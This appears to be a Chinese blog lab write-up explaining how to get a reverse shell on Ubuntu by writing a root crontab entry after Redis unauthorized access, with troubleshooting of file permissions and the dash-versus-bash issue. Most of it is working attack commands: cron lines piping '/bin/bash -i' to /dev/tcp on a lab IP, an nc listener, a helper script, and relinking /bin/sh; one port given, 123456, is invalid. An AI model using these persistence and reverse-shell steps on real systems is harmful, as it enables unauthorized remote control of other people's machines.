ubuntu利用crontab反弹shell

事情源于自,我利用redis未授权访问漏洞在向ubuntu的/varspool/cron/crontabs目录下创建的任务计划文件去反弹shell时,发现shell并不能反弹到自己的centos2上

(1)在ubuntu中进入/var/spool/cron/crontabs/目录

bash 复制代码
cd /var/spool/cron/crontabs/

(2)新建一个名为root的任务计划文件

bash 复制代码
touch root

注:root文件的权限必须是600,否则会出现错误影响后面的实验

(3)编辑内容

bash 复制代码
* * * * * '/bin/bash -i >& /dev/tcp/192.168.159.201/123456 0>&1'   

(4)在centos2上监听着 12345端口

bash 复制代码
 nc -lvvp 12345

这时按道理来说我们监听了后就应该回弹的,这里等待了一会后并没有回弹

(5)现在查看日志

bash 复制代码
tail  -l /var/log/syslog
Sep 26 09:18:01 ubuntu-virtual-machine cron[568]: (root) INSECURE MODE (mode 0600 expected) (crontabs/root)
复制代码
通过日志我们可以发现权限644有问题

(6)现在尝试给root文件授权为600

bash 复制代码
 chmod  600 root 

这时还是并没有回弹

(7)现在就还尝试将root文件删除后,直接在创建时授权为600

bash 复制代码
root@utuntu000:/var/spool/cron/crontabs# rm -rf root
root@utuntu000:/var/spool/cron/crontabs# touch root
root@utuntu000:/var/spool/cron/crontabs# chmod 600 root

然后给root中再次编辑内容

(8)然后再次尝试回弹

这时还是并没有回弹

(9)这是再次去查看报错日志

bash 复制代码
tail  -l /var/log/syslog

这一条,我们之所以反弹失败,和这句话有很大的关系,百度一番后,大概的意思就是我们任务计划中的命令执行如果出现了错误,ubunti会将这些错误信息去输出到ubutu系统的邮件服务器,但是由于ubuntu系统默认没有安装邮件服务器,所以导致了这个错误

(10)修改任务计划文件为

bash 复制代码
* * * * * '/bin/bash -i >& /dev/tcp/192.168.159.201/12345 0>&1' >/tmp/error.txt 2>&1
//将错误输出到指定文件夹

(11)现在去查看 /tmp/error.txt文件查看报错信息

bash 复制代码
tail /tmp/error.txt 

这里的错误表示:执行它的/bin/bash没有被找到,因为这个文件是使用/bin/sh执行的

可以使用ls -al查看/bin/sh,发现/bin/sh 是dash的一个软连接

(12)解决方案

方法1:修改软连接的指向为/bin/bash

bash 复制代码
 ln -s -f bash /bin/sh

并且将root文件修改为:

bash 复制代码
* * * * * '/bin/bash -i >& /dev/tcp/192.168.159.201/12345 0>&1'   

注:为什么centos就没有这个问题,因为centos默认的处理方式就是/bin/bash

现在再次尝试反弹

就可以看到成功的反弹了

方法2:就是避免在cron文件里面去使用bash这个shell,我们可以另外的去建立一个反弹shell脚本文件,然后去任务计划里面直接调用这个脚本文件

shell脚本文件如下,名为tmp/test.sh

bash 复制代码
#!bin/bash
/bin/bash -i > &/dev/tcp/192.168.159.201/12345 0>&1

然后为test.sh加上执行权限

bash 复制代码
chmod +x /tmp/test.sh

之后任务计划里面的内容修改为

bash 复制代码
* * * * * /tmp/test.sh

最后尝试反弹

可以看到成功的反弹了shell

方法3:直接使用sh

修改文件为

bash 复制代码
*/1 * * * * bash -c  '/bin/bash -i >& /dev/tcp/192.168.159.201/123456 0>&1' 

不用修改链接指向,直接在sh下执行bash -c

可以看到已经成功的弹窗了!

相关推荐
塔能物联运维1 分钟前
物联网运维中的边缘计算任务调度优化策略
运维·人工智能·物联网·边缘计算
望获linux4 分钟前
【实时Linux实战系列】实时 Linux 在边缘计算网关中的应用
java·linux·服务器·前端·数据库·操作系统
真正的醒悟11 分钟前
什么是网络割接
运维·服务器·网络
Bruce_Liuxiaowei17 分钟前
Win7虚拟机加入域错误排查指南:解决无法启动服务问题
运维·网络·windows·安全·网络安全
聆风吟º39 分钟前
无需 VNC / 公网 IP!用 Docker-Webtop+cpolar,在手机浏览器远程操控 Linux
linux·运维·docker
申耀的科技观察43 分钟前
【观察】Cyber Resilience网络弹性筑基,主动防御铸盾,戴尔科技重构企业安全防护体系
网络·科技·安全·重构
骇客野人1 小时前
【软考备考】 高并发场景如何做负载均衡知识点四
运维·负载均衡
deng-c-f1 小时前
Linux C/C++ 学习日记(22):Reactor模式(二):实现简易的webserver(响应http请求)
linux·c语言·网络编程·reactor·http_server
BTU_YC1 小时前
CentOS 7 虚拟IP配置指南:使用传统network-scripts实现高可用
linux·tcp/ip·centos
陌路201 小时前
LINUX14 进程间的通信 - 管道
linux·网络